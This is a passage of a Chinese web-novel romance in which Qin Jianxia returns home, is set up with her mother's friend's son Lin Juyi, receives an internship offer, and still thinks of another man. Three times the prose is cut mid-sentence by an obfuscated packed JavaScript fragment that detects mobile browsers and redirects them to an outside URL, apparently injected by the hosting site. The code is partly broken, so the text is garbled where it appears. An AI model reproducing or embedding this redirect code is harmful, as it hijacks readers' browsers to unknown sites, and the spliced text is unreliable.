远远望去,倏地发现没化妆的赵霞面容苍老不少,一身旧衣服,看起来身形矮瘦,然而目光却紧紧锁住女儿的身影,笑得容光焕发。 可是在她的记忆里,赵霞明明是光鲜亮丽的职场佳人。 她会坐在她腿上,将整张脸埋进妈妈的彩色西装里,嗅她身上香水与妈妈味混合的气息。 秦见夏不禁鼻子一酸。 “怎么哭啦?”接到秦见夏的赵霞一头雾水地抱住女儿,轻轻拍抚她的背,与秦国海对视一眼,小心地问,“跟妈说,谁欺负你了?” 秦见夏将脸埋进赵霞脖颈里,闻着令她安心的妈妈味,接过父亲递来的纸,擦了擦眼泪:“没有,就是想你了。” “妈,你什么时候比我矮了。” 秦见夏直起身子,说完眼泪又涌了出来。 赵霞手忙脚乱地抹着她的眼泪,也有些哽咽:“因为妈妈老了呀,夏夏长大了,妈妈缩水了,这是自然规律。” 秦见夏红着眼,将双手搭在赵霞肩上拍了拍,郑重其事地看向她的眼睛:“妈——你以后要多吃点肉,常跟我爸去玄武湖锻炼身体,不要老懒在家里睡大觉!” “诶呦,知道啦知道啦,”赵霞敷衍地接过秦见夏的黄色双肩包,推着她往外走,“咱们快回家吧,爸妈菜都切好了,就等你回家下锅呢。” 秦国海抹了抹眼睛跟上,自动拉起秦见夏的大行李箱跟在最后,故意赌气般开玩笑道:“莫得良心的小丫头, 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一听到自己大名,秦见夏立刻擦了擦嘴,屁颠屁颠地小跑进房间:“来了来了皇额娘~” 她将箱子放倒,拨好密码后摁下锁扣,行李箱果然“嘭”地一下爆开。 “我就知道……”洁癖收纳狂赵霞一脸无奈,自觉蹲下身子开始整理,不知道第多少次吐槽,“我和你爸两个洁癖,怎么生出你这么个邋遢鬼……” 秦见夏大大咧咧往床上一躺,双手叠在脑后,盯着天花板上的吸顶灯,将脚搭在膝盖上摇晃。 也不知道第多少次插科打诨道:“负负得正呗。” “等下——”赵霞将Switch的包装盒掏出,走到床边,举着红色盒子居高临下地审视她,“你哪来的钱买游戏机?” “还有这么多磁带盒?应该都是游戏吧。” “哟,想不到老妈你还挺懂行~” 秦见夏晃荡出残影的脚丫子被赵霞猛拍了下,她瞥了眼母上大人的神色,老老实实地坐起身子:“我说是天上掉馅饼砸中我了你信吗?” 赵霞:“不信。” “好啦,此事说来话长,”秦见夏接过盒子,拿出Switch给老妈展示,“总而言之言而总之、长话短说就是——我打游戏刚好遇到了Jichoo,然后他发现我是他粉丝,就大发慈悲地送了我个Switch。” “哎我要提前声明,这可不是我缠着人家要的。我只要了签名照,是他自作主张给我送了个游戏机,直接寄到学校无法拒绝的那种。” “Jichoo?”赵霞也顺势在床上坐下来,和秦见夏肩并肩,她思索半天,才从记忆深处搜寻到这个熟悉的名字,“咋听起来这么耳熟啊?是不是那个……FYZ的什么选手?” “诶?你咋知道?”秦见夏惊讶地看向她。 “之前你上高中的时候,有次周天晚上,妈送你回学校住宿,我记得你一路上都不理我,一直抱着手机看视频,进校门前你最后看了眼手机,然后痛哭流涕地求我八点帮你看比赛结果,还得把几比几编辑成短信发给你的小灵通……” “是不是就为了这个Jichoo?” 37. 西柚味 “是的。” 秦见夏点点头:“就是他。” “怎么会这么巧合?”赵霞耐心询问,“不会被骗吧?” 秦见夏:“……” 简直是预言家。 这其实就是被骗后的“封口费”。 “没有啦,”秦见夏撒了个善意的谎言,“确实是他本人,主要是我还帮了他个小忙,他可能心里过意不去才送我的,没有被骗啦。” “那你后来为什么不喜欢他了?”妈妈好奇地问,“我记得你之后好像就不咋关注这些了。” 秦见夏想了半天:“我之前喜欢他,一半原因是我喜欢打这个游戏,还有一半原因是他长得帅,二者只要缺一,我就不感兴趣了。后来彻底退坑这个游戏,自然也就把他忘了。” “就像我小时候很爱买一堆花里胡哨的本子不舍得用,成年后不再需要这些本子,哪怕从前再喜欢,现在也不管用了。” “唉,你这喜欢说到底还是看脸呗,所以来得快、去得也快,果然继承了老妈的颜控属性,”赵霞摸了摸秦见夏的头发,感叹,“还好你不是单纯看脸……以后找对象也不能光看脸知道吗。” “找不找对象随缘吧……还是得看点脸的,”秦见夏问,“我爸不就是上得厅堂下得厨房吗?要是我爸长得丑,你能乐意嫁?” 妈果断:“不乐意。” “那不就对了!”秦见夏放下Switch,拉着赵霞的手起身,“先吃饭吧妈,我都快饿死了,一会再回来收拾。” “等收拾完,你陪我一起玩Switch吧妈咪,动物森友会很好玩的~” “好。” “今晚你和我一起睡呗,好久没和你睡一张床了~” “行。” “回头我买两个手柄,妈你能不能陪我玩双人成行啊?” “没问题。” 秦见夏在家里没日没夜地玩了四天Switch。 这几日父母正好忙得没时间管她,只有晚上十一点时,赵霞会宛若定了闹钟一般惊醒,然后打开房门呵斥秦见夏不要熬夜。 于是她就阳奉阴违,关了灯戴上耳机躲进被窝里继续玩——如此没日没夜地玩了四天动森。 秦国海白天要给领导开车,晚上偶尔还有应酬。 赵霞从暑假开始倒是清闲不少,她的托管班暑假只有三个小孩,都是家长工作忙碌没时间给孩子做饭,就拜托赵霞开个假期小饭桌,光中午管一顿饭,一个孩子收六百块钱。 赵霞本来打算带闺女出去旅旅游,但想着都是一个小区的邻居,还是答应下来,起码暑假还能有点收入。 到了八月份,她估计又要忙起来,家长们辅导不完作业,再加上都知道赵霞的闺女是211高材生,他们就会拜托赵霞开个暑假辅导班,把孩子放她那写作业,赵霞肯定又要连连答应。 他们老小区的邻居大多是秦国海现在单位的同事,都对这三口之家交口称赞。 秦国海给领导开了十年车,口碑极佳,性格老实憨厚,谁家有困难喊一声,他肯定会到。 赵霞更是慈悲心肠,虽然平时不太爱出门凑热闹,但耳根子软,办事又周到细致,年轻时还是大有作为的设计师,在小区更是饱受好评,大伙都放心把孩子交给她。 所以作为自小成绩优异还考入A大的秦见夏,自然也就备受瞩目,上到老头老太太值班大爷、下到三岁小孩都认识她。 “啊呀夏夏去你妈那儿吃饭啊——” 是刚买菜回来的隔壁楼邻居,秦见夏笑着打招呼:“张阿姨好。” “哦哟,是夏夏丫头,你办美术班的事考虑得怎么样啦?我家小孙子等着找你学画画呢!” 是正准备出去钓鱼的林叔,秦见夏热情道:“前两年不是有疫情办不了嘛,今年可能还得去实习,等毕业了回来再说。” “林叔,今天要是大丰收了记得给我家分一条小……” 她还没唠完就被林叔打断,他将白色大塑料箱往车上一撂,关上后备箱:“啊呀知道嘞小丫头,全院子谁不知道你妈妈爱吃鱼哦,林叔今天肯定给你钓个肥的!走咯!” “夏姐,你回来了!!” 是小区里记不清哪户的小孩,自从得知秦见夏高中上过王者,就对她像神一样膜拜,见面就喊“夏姐好”,以及—— “夏姐什么时候带我们上王者啊?” 她每次都笑着敷衍:“下次一定,下次一定。” 笑话,带头领他们打游戏,那赵霞的托管班还办不办了。 再说了,哪个大学生乐意和小学生一块玩? 过五关斩六将,终于来到赵霞开在十二号楼的托管班,秦见夏拿钥匙开门,一进去就大咧咧地喊:“妈——今天吃啥!” 结果被在客厅坐着的帅哥晃了下眼睛。 秦见夏:“!!?” 小饭桌什么时候招成人了? “哎呀,喊啥啊,”赵霞戴着围裙从厨房走出,“今天你王阿姨一家回国,咱们出去吃——哎,你能不能别穿着睡衣?快回去换身像样的,一会儿妈给你发微信你再下楼哈。” “那这位是……?”秦见夏垂眸瞧了瞧自己的卡通睡衣,又面红耳赤地指向沙发上同样看过来的男生。 “这是你王阿姨家的儿子壮壮啊!”赵霞笑得春光满面,“小时候你还指着人家的开裆裤问怎么你没有,你不记得了?” “?” 秦见夏的脸更红了:“……” 同样面色爆红的壮壮:“……” 王阿姨也边吃水果边从厨房走来:“哟,夏夏长这么大啦!” “王阿姨好,”秦见夏客客气气地打招呼,又问妈,“妈你怎么不带王阿姨来家里啊,让人家来托管班算怎么回事……” “你在家里睡得跟死猪一样,妈不给你打电话叫你来吃饭你能睡到下午,还问‘为什么不带王阿姨来家里’~”赵霞阴阳怪气地模仿秦见夏的语气,又道,“再说托管班咋了?有啥丢人的,你王阿姨又不是外人。” 王阿姨也附和:“就是就是,阿姨刚还给你妈打下手呢,阿姨跟你妈是当年在广市睡一张床的交情,见什么外啊!” 秦见夏脸上的红晕还没消退:“妈你给我留点面子……” 帅哥在这呢…… 她悄悄打量起王阿姨母子俩,王阿姨一种ABC+帕梅拉的感觉,全身Lululemon,戴着夸张的耳饰,说话听起来也一股洋人味。 反观赵霞还穿着她的旧衣服。 虽然,她的旧衣服多到占用了全家人的衣柜,秦见夏穿的也基本都是妈妈剩下的衣服——但那也是旧衣服…… 她在心中暗暗发誓,等她赚了钱也要给老妈买Lululemon! 她又瞥了下壮壮,刚刚他似乎也在偷偷打量她。 秦见夏的记忆里倒是没有这号人物,只是听妈妈说过,他小时候很胖来着,怎么现在又高又瘦的。 他穿着深蓝色帽衫短袖,搭配牛仔裤。恰到好处的窄脸,鼻子和嘴巴都肉肉的,内双眼皮很薄,眼梢向下,一副无辜狗狗的神态。 皮肤是健康的小麦色,但没有到达黑皮的程度。 也是ABC的经典长相,看起来英文就很好。 赵霞一看自己闺女这小眼神,就知道她又短暂地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669848|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱上了。 她不由得在心底琢磨——这俩要是能成也不错,双方都知根知底的,壮壮人也老实,从小就被秦见夏欺负,也不给大人告状,任劳任怨地,指不定真是天赐良缘呢。 于是她挥舞锅铲,指着还立在门口眼巴巴的秦见夏:“你,带壮壮回家歇一会儿,认认门儿,把你闲置的咖啡机、咖啡豆拿出来招待一下。” 说完又扭头,神态可掬地对壮壮温柔道:“壮壮,你跟夏夏回家坐一会儿吧,阿姨这里待会还有小孩来,别吵着你,前两天刚好……有人给夏夏送了个Switch,你们可以在家一起玩会儿。” 不仅如此,赵霞还对王阿姨使了个眼色:“我跟你妈妈再聊会天,一会儿夏夏爸爸就来接我们去吃饭。饿了的话,就叫秦见夏先拿零食给你垫垫肚子。” 秦见夏:“……” 这撮合得也太明显了。 壮壮很老实地答应:“好的阿姨。” 秦见夏不爽了,咆哮:“妈——你是变脸王吗!那年杏花微雨我没回家,你说你心疼你的宝贝儿!现在就是,你、死猪,还有秦见夏了!” 赵霞连忙走过来敷衍地哄了哄:“好啦好啦,宝贝儿,快带壮壮去家里吧。” 她边拍秦见夏的背,边在别人看不到的视角冲她挑了挑眉。 “……” 秦见夏的耳尖再度爆红。 赵霞转身带着看好戏的王阿姨进了厨房,秦见夏便清了清嗓子,对沙发上的帅哥说:“那个……壮壮,你跟我来吧。” 蝉声微噪,树荫连连。 因靠近玄武湖,闷热的空气里夹杂着一丝潮湿。矮楼层小区里,正回荡着小孩们玩耍时发出的尖叫声。 “你和王阿姨应该是第一次来吧,那我随便跟你介绍一下——我们现在住的是我爸爸单位分的房子,虽然不是那种新楼盘,但我们小区还算这一片占地面积最大的,绿化什么的都还行。你看那边,还有个小木亭子……” “然后我妈前两年开服装店,因为疫情倒闭之后,从去年起,就在小区里搞了个托管班,生意还不错,反正至少不会像搞服装那样赔本。” “对了,你喝汽水吗?”刚好路过小卖部,秦见夏回头问身后的男生,“或者你喝奶茶吗?等会我们去吃饭的时候,我请你喝?” 壮壮显然有些局促,红着脸开口:“不用麻烦了,我刚刚喝了阿姨泡的菊花茶……” “诶呀壮壮,不要这么客气嘛!虽然我不记得你,但咱俩四舍五入也算发小。王阿姨总跟我妈视频聊天,我跟王阿姨也很熟的,不用跟我这么客气!”秦见夏拍着胸脯大咧咧说完,迎面遇到熟人,又立刻热络地冲那人打招呼,“孟奶奶出门遛弯儿啊~” “哟,是夏丫头啊——”孟奶奶推了推老花镜,走来细细打量起她身旁的男生,语气暧|昧地问,“夏丫头谈男朋友啦?” 壮壮的脸,又瞬间红得像熟透的苹果。 秦见夏也面热地解释:“不是啦!这是我妈好闺蜜的儿子,才回国!不说了奶奶我们先回家了——” 可乐也不喝了,她连忙拽起壮壮的衣摆,扭头就跑:“壮壮咱们还是快回家吧我给你做咖啡喝,再待下去全小区的都要传我谈恋爱了!” “那个……见夏……” 壮壮被秦见夏带着跑。 面前的女孩,一身蜡笔小新同款卡通睡衣,棕色卷发在太阳底下仿佛泛着金光。 空气里沁来若有若无的凌霄花香,以及淡淡的、西柚味洗发水的味道。 似有鹅绒在心脏处扫了一下。 他心神微动,斟酌道:“我叫林居奕,你可以叫我大名。” 38. 朋友圈 “居易?白居易的居易吗?”秦见夏边跑边回头问。 林居奕逆着阳光,笑出一口大白牙:“是白居易的居,神采奕奕的奕啦。” “到了,”秦见夏气喘吁吁地按了电梯,“我家就住这栋的三楼。” 她指了指天花板。 林居奕呼吸平稳,整理着背后的帽子,疑惑问道:“老小区还有电梯吗?” “有的,”她解释说,“刚刚托管班在一楼,电梯还要再往里走,你应该没看到。” “反正我们这里很多年前盖房子就带电梯了,可能是老小区中的新小区?” 秦见夏的话,不知怎么逗乐了林居奕,他轻笑两声,跟在她身后走进电梯:“你现在还没毕业吗?听我妈咪说,你在隔壁的A大上学?” “是的,”等待电梯上升的过程,秦见夏答,“我开学大四。” 她也问:“你们打算回国长住还是?” 林居奕双手插兜,抬眸看着显示屏的数字变成“2”,淡淡道:“我爸妈之前离婚了,所以今年毕业后我们打算回国定居。” 据秦见夏所知,王阿姨当初是嫁了个粤省富二代,生下孩子后一直在当全职太太,后来富二代去美国做生意,王阿姨自然也带儿子跟着去美国定居了。 没想到他们居然离婚了啊…… 这个事赵霞倒是没跟她讲过。 “叮——”一声响起。 “哦哦这样子……”秦见夏走出电梯,顺便转移话题,“那你们打算定居哪里啊?南城吗?” 林居奕瞥见她从睡衣口袋里掏出钥匙,放在手上转着玩,忍不住弯了弯唇:“看妈咪好像是想待在南城和赵阿姨一起,不过这里就业环境不如晋海,我还是比较倾向于往晋海发展。” “那的确也是,你是名牌大学,自然应该去大城市就业,”秦见夏用钥匙打开门,拉开玄关鞋柜的抽屉,拿出一次性拖鞋,热情道,“欢迎光临~这就是你赵阿姨的家!不要客气,就当自己家,我去把咖啡机收拾一下。” “不用麻烦了,”林居奕边换鞋边说,“我喝水就行。” 秦见夏走到吧台,将咖啡机上的遮灰布掀开,弯腰在柜子里翻出咖啡豆:“没事的,刚好我也想喝了,你去坐着玩手机吧。” “哦对了,我有Switch,你想玩也可以玩,就在茶几上放着。” 林居奕闻言,好奇地拿起Switch,顺势在橙色沙发坐下,发现屏幕上只有一个游戏,便打开卡槽看了眼:“你玩的居然是卡带版?” “是的,我朋友送了我三百多个游戏。只不过我才开始玩动森,玩腻了再换别的。” 秦见夏坐在高脚凳上,下意识瞥了他一眼,然后气定神闲地拿起手机,打开小红书搜索咖啡机教程。 怎么用来着…… “是男朋友吗?”林居奕试探地问。 “不是啦,”秦见夏出神地盯着教程和磨豆机,“就是……一个出手阔绰的富二代?” 也确实是Fine出的钱,没毛病。 “那你朋友还挺懂行,卡带算比较保值的……”林居奕放下Switch,偏头看了一眼,瞧见秦见夏正盯着磨豆机出神,便问,“是出现故障了吗?” 他边说着边起身走来,秦见夏尴尬地当即熄了屏:“就是好几个月没回家,有点不记得怎么操作了,平常都是我妈在用……” “我来,”林居奕接过装有咖啡豆的纸袋,熟练操纵起磨豆机,“你去玩吧,做好了我喊你。” 秦见夏不好意思地拿着手机起身,指向旁边的饮水机:“这里有饮水机,冰块在冰箱第一层,咖啡的工具全部在下面的抽屉里。我先回房间换个衣服,一会我爸可能就到了。” 于是她就狼狈地回了房间,留下客人在吧台做咖啡。 秦见夏的衣服换得很快,林居奕的咖啡也做得很快。 等她飞速戴了美瞳用气垫打了底,随便描了眉毛涂了唇釉出来时,林居奕已经在喝咖啡了。 “看你家有牛奶,顺手给你做了冰拿铁,”林居奕将玻璃杯往她的方向推了推,又抿了一口咖啡,“我的是冰美式。” 秦见夏双手背在身后,暗自拽了拽裙子,笑着走到吧台坐下,惊喜道:“你居然还会拉花?” “做多了就会了。”林居奕的笑容很明媚。 秦见夏边喝拿铁边赞叹道:“比你阿姨做得好喝多了!” “对了,”她似乎踌躇许久,才红着脸抬眼看他,“有没有人说过……你笑起来很像某个塌房明星?” 林居奕嗤笑出声:“你是在夸我长得帅,还是在损我?” 他垂眸看到秦见夏的脸颊正在以肉眼可见的速度逐渐变红,连忙收起打趣的姿态,正色道:“好啦知道你在夸我帅,不过确实每个中国前女友都这么说过我。” 每个?? “你前女友很多吗?” 秦见夏下意识问。 “在学校的时候date过几个,正经谈只交往过三个,很快就分了,”林居奕瞥了眼她的神色,还是坦荡道,“目前还没遇到soulmate。” 不是老实人吗…… 这听起来也不太老实啊。 其实秦见夏作为白纸,对这种有过不少情史的男生会感到有些膈应,目前她身边的朋友们也都是母单或者只谈过一个,很少有这种情史丰富的朋友。 A大不是没有玩得花的,哪都有玩得花的。 大二的时候,她在表白墙捞的酷似明星的帅哥就是“酒吧专业户”,这种“酒吧男”求偶味过于强烈,令她非常不适,长得再帅也不来电。 俗话说得好——圈子不同何必相融。 不过。 林居奕看起来倒不是那种玩得花的“酒吧男”,还一副没被玷污的阳光开朗型ABC气质。 秦见夏想着,从小到大的文化背景不同,国外的确更开放一些。 再加上和王阿姨也熟,她的小孩应该不至于被养成花花公子。 还有就是——他身上确实有种健康的帅味。 一种朝气蓬勃、没被高考和大学“玷污”过的身心健康感。 秦见夏再度抬眼,与他对视一瞬。 林居奕展开一个故意逗她的笑容。 好吧,心跳告诉自己又crush了。 她故作拿起手机看微信的姿态,罕见主动道:“我爸好像快到了,要不我们先加个微信?” “万一你在南城有什么事,可以随时找我。” 这一番话虽然没有任何因果关联,但秦见夏说得冠冕堂皇、正气凛然,自己都快信了。 “噗嗤——”林居奕忍俊不禁,玩味地掏出手机,打开扫一扫,语气戏谑,“知道啦,有困难找秦小姐,我扫你吧。” 秦见夏抿着笑意,顺利和他加了微信。 加上后,秦国海的电话真打来了:“夏夏带着壮壮下楼吧,爸已经接到妈妈和你王阿姨了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669849|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知道了,”她挂了电话,站起身,对林居奕歪了歪脑袋,“下楼吧,壮壮。” 林居奕:“……” 摆脱不了这个小名了。 秦国海的黑色大众停在小区门口。 他和赵霞,不是一家人不进一家门——夫妻俩洁癖到一起去了,整个小区就数她家车最干净,秦国海天天将车擦得黑到发亮,此时在太阳底下熠熠生辉。 秦见夏和林居奕一路闲聊,并排着走来。她将车门打开,王阿姨和赵霞热闹的聊天声顿时倾泻出来。 赵霞:“夏夏,你来坐后面,让壮壮坐在副驾。” 一路上,赵霞和王阿姨都在使劲撮合他俩—— “夏夏和壮壮加微信了吗?” “加了。” “我们夏夏还没谈过朋友呢,壮壮呢?” “我们壮壮也就谈过三个女同学,基本都是不到两周就分了。” “听说国外的孩子都开放,那壮壮还算可以的哈。” “……” 全车大概只有秦国海对林居奕不太满意。 秦见夏是最后一个下的车,下车前,秦国海拉住她,神色不虞:“老爸对这门亲事不太满意,那小杆子穿个牛仔裤看上去就不太稳重,还谈过那么多次恋爱!都什么年代了,还搞包办婚姻这套,哼!” “夏夏,你别听你老妈的,她是恋爱脑,你可千万要擦亮眼睛噢,不要被人家富二代骗了感情!” 秦见夏真是饿了,敷衍地说了句“知道了”扭头要走,秦国海又急忙拉住她,煞有其事道:“老爸觉得,你现在不想谈恋爱也么得事啊,不要急着找对象,爸妈都不催婚的。” “八字还没一撇呢老爸,”秦见夏推开车门,“你放宽心,人家可没说要定居南城。” “哦也是吼,好了丫头,你下车先去点菜吧,老爸停好车就过来。” 秦见夏终于得以下车,从车里钻出来时,发现林居奕竟然在不远处等她。 赵霞和王阿姨早已叽叽喳喳地在马路对面,挽着手向商场里走了。 阳光穿过法国梧桐的缝隙,洒在林居奕微微肉感的脸颊上,他双手插兜轻笑着,看起来清爽又开朗。 “你怎么在这里不过去?”秦见夏快步跑到他身边,单手捋了捋头发,让刘海看起来更蓬松。 林居奕笑容明快:“当然是守护秦小姐过马路啊。” 这里不是商场正门,刚好没有红绿灯。 秦见夏心中一暖,也开起玩笑:“那就劳烦林先生了。” 过到马路对面,和她们汇合后,就各自跟在各自妈身后了。林居奕走在王阿姨身旁,还不经意间对秦见夏wink了一下。 她收回目光,心底小鹿怦怦地撞。 此男段位简直太高。 赵霞一家请客吃南城地道的淮扬菜,秦国海早早就定下包间。虽然他说不用等他,但大家还是自发等秦国海停好车上来了,才开始点菜。 秦见夏点了自己最爱吃的雨花茶虾球,别的就随他们去了,无外乎就是盐水鸭、南城烤鸭、文思豆腐等等之类的。 等菜间隙,大人们聊得热闹,秦见夏起身整理了一下裙摆,瞥了眼对面的林居奕,越瞧越顺眼,不由得勾起唇角,坐下发了条仅部分好友可见的朋友圈—— 「看来恋爱真的要降临我手心了^^」 还没来得及切出朋友圈,就收到了点赞提示—— 一分钟前,谈继秋赞过。 39. 绿萝型 自从上次秦见夏想明白不能再任由自己对谈继秋产生好感后,就再也没有和他有过任何交流。 他们的聊天页面也停留在那句—— 「好的,秋神,祝您直播顺利。」 秦见夏别扭地从朋友圈点开他头像检查一遍,确认是谈继秋点的赞无疑,心中莫名有些说不清道不明的不悦,又忍不住感叹自己的自作多情。 心脏像是一块被扭成麻花状的湿抹布。 滴滴答答的水珠,一阵一阵地敲打着内壁,十分不痛快。 秦见夏将手机藏在桌布下,漫无目的地划着。 桌上热闹非凡,林居奕坐在对面,虎视眈眈地冲她笑了笑。 她咬着下唇收回目光,索性直接点击删除。 反正他们只是网友,而已。 删了朋友圈就当作无事发生。 饭局进行得十分顺利,父母辈和蔼可亲,小辈也都八面玲珑。 快结束时,赵霞问王阿姨要不要先住在她们家。 王阿姨很有分寸地说:“不用了霞姐,我和壮壮已经订好酒店了,一会吃完饭我们就过去。” “定在哪里了呀?”赵霞嗔道,“怎么也不提前跟我们商量一下。” “这不是刚好赶上旺季,酒店不好订吗,我们就直接订了玄武湖旁边的全季,先玩两天再去晋海看看。” 赵霞闻言,与秦见夏对视一瞬,然后将右手搭在她左肩上,推销一般道:“那刚好!我闺女现在放暑假了没事干,这几天就让她陪你们逛逛。刚好夏夏对这片儿也比较熟悉。” 赵霞话音刚落,秦见夏放在餐盘旁边的手机,传来“叮——”的一声。 她拿起来一看,不由得喜上眉梢:“恐怕要有事干了……” “我收到腾游的offer了!” “啥?”赵霞瞠目结舌,“什么offer?” 秦见夏激动地握住她的右手,面朝大家道:“我前几天投了腾游的运营实习岗,线上面试三次,又做了试题之后一直没有消息,本来以为没机会了,没想到刚刚收到了offer!” “下周一也就是十七号,我就可以去晋海实习了!” “哇,夏夏真棒!” 包间内顿时传来一片恭喜声和夸赞声,秦见夏颇为得意地扬了扬下巴:“低调,低调,基操勿六。” 林居奕也笑得弯起眼睛,目光澄澈,一副人畜无害的样子,令她联想到金毛小时候的神态。 人声鼎沸中,秦见夏同样笑着回望他。 这大约是个意气风发的夏季。 下午秦国海要回去工作,赵霞提议带着客人打卡附近景点,秦国海就说要把车留给她们,方便游玩,但赵霞拒绝了:“最近到处都堵得要死,等我们爬到那儿人家早下班了。” 秦国海只好交代女儿照顾好大家,随即快步离开。 林居奕嘴上说着“不喜欢逛景点”,却还是“不经意”地点名,让秦见夏带他在四处转转。 两个妈妈当即求之不得地连连答应。 秦见夏目送她们勾肩搭背远去的背影,吸了口奶茶,撇撇嘴:“要不要撮合得这么明显啊?” “怎么?”跟在她身旁走进直梯里的林居奕,忽然低头问她,“你不乐意吗?” 林居奕低头的瞬间,扑面而来的是他身上的香水味,闻起来像银色山泉。 秦见夏之前买过小样,她也很喜欢这个味道。 是一种清新和煦的香甜气息,和林居奕带给她的感觉很相似。 密闭空间里,秦见夏抬眸,对上他微垂的狗狗眼:“你的香水是银色山泉吗?” “和你很搭。” 她由衷地笑笑。 “你还没回答我的问题。” 林居奕站在不远处,和秦见夏之间隔开一个人的距离。 他拎着奶茶袋子,半倚在电梯侧壁,以一种玩味、但不令人反感的语气问:“你不喜欢她们撮合我们吗?” “呵。”秦见夏轻笑出声,心道他确实很会拉扯呢。 “你猜——” 那就和他玩玩呗。 她刻意拉长暧|昧的尾音,随即走出电梯。 一种令人捉摸不透的态度。 林居奕还靠在角落,他将目光落在前方的蓝裙子女孩身上,唇角微扬。 妈咪闺蜜的女儿,还真是很有趣呢。 “你之前真没谈过恋爱吗?” 秦见夏带着他在玄武湖边漫步,逛到一棵大树底下时,听到林居奕好奇地问。 微风轻拂湖面。 她停下脚步,用眼神示意他在此处休息片刻,也不等对方点头,便自顾自地在石阶上席地而坐。 “诶,等下啊,”林居奕无奈地将奶茶从纸袋里掏出,放在一旁,然后把纸袋撕成平面展开图状,用指尖点了点秦见夏的肩膀,“见夏,你用这个垫着。” 他说着,指了指她的克莱因蓝鱼尾裙。 “谢谢,”秦见夏不客气地接过,垫在身下,也将自己的袋子递给他,“你也垫着吧,小少爷。” 林居奕被她的称呼逗笑,与她并肩坐在湖边。 身后不远处,传来广播里的流行音乐声,以及老年人跑步时发出的粗重呼吸声。 夏风温度适宜,将青色水面荡出长条状的波纹,零星几个旋涡若隐若现。 前方是像素点一般的白色小船,和两座很矮的青山。 “你是不是有喜欢的人啊?”林居奕感受了一会清风,忽然突兀问道,“刚刚在饭桌上好像看到你神色不太对……那个人是不是不喜欢你?” 秦见夏:“……” “你这火眼金睛适合去抓小偷,”她低头瞧着石壁下随波逐流的韭菜状海草,漫不经心地说,“这年头谁还没个喜欢的人……如果每次crush都能成,我早就谈过十段八段了。” “他是什么类型的?” 林居奕双手撑在背后,身体微微后仰,偏头试探地问。 按理来说,最近一次crush应该是莫清谷。 但不知为何,秦见夏脑海里第一时间浮现出的,竟然是谈继秋那张妖孽的脸。 真是……苦恼啊。 “他是——”她也用手撑着身子,抬头望天,想了想,“绿萝型。” 林居奕:“?” 林居奕:“绿萝型是什么类型?” 秦见夏在脑中仔细描摹那人的形象,淡淡道:“一种看起来半死不活、好像随时要挂掉的肾虚男小白脸形象,其实内心敏感内耗,做错了事会焦虑地睡不着觉,宁愿自损一千也要拼尽全力地弥补对方……” “性格一般,徒有其表。” 她描述得相当不留情面。 似乎说得越狠,自己就越不在意。 “但又挺有韧性,也有主见,”秦见夏倏地看到一只小乌龟,骤然将头挣出水面,声音顿了顿,“不过——他身上总带着一种绝处逢生的魔力。” “所以,是一种稳定又好养活还漂亮的绿萝类型。” 秦见夏将注意力放在水里那只拼命划动四肢的小乌龟上,它游得相当慢,明明只有不到巴掌大,却一副老态龙钟的姿态。 怎么看起来有点像某个人…… 秦见夏托着腮转过身子:“你看过《甄嬛传》吗?有点像里面的‘一格电’端妃。” 说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669850|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她又歪着脑袋,冲林居奕比了个照相的手势:“他好像……和你是完全相反的类型。” 林居奕只是垂眸,定定地看着她,眼睛很亮,饱满的唇瓣始终挂着礼貌的笑意。 “那你应该很喜欢他了,”林居奕又回头望向湖面,声音很淡,“为什么不在一起呢?” 秦见夏闻言,自顾自笑了两声:“他比我大诶,而且也不在一个城市……再说了,我们之间身份差距很大的,类似于——粉丝和偶像?” “可能也不是那种喜欢吧……或许只是脱坑后又回粉了?” “你见过哪个追星女会把偶像描述成——随时要挂掉的肾虚男小白脸……?” 林居奕有些不依不饶。 “那是你见过的女生太少了,”秦见夏忽然烦躁地吹了吹刘海,“不说他了,已经过去了。你呢?你喜欢什么类型的女孩子?” 林居奕将胳膊搭在膝盖上,双手交叠,目光望向远处:“我喜欢阳光热情的女生。” “那你一定谈过很多外国妹妹咯?只是对家长说谈过三个对吧……假老实人。” “外国人又太热情,一见面就要makelove,也让人有点受不了。” “你内心其实很爽吧,”秦见夏不屑地撇了撇嘴,“我太懂男人。” 林居奕却突然转头,认真地对秦见夏说:“见夏,我不是那样随便的人。” 他的目光出乎意料地真挚,看起来不像在骗人。 阳光刺破层层叠叠的树叶,落在他发间、侧脸、下巴,将他染得熠熠生辉。 鼻息间是淡淡的清甜香气,混合着秦见夏洗发水的西柚味。 微风似羽毛般,吹起她的鬓发。 她将乱了的发丝拨回来,心中微微触动。 秦见夏下意识收回目光,恍若无事发生地开起玩笑:“知道了知道了,你不是随便的人,你是深情哥。” 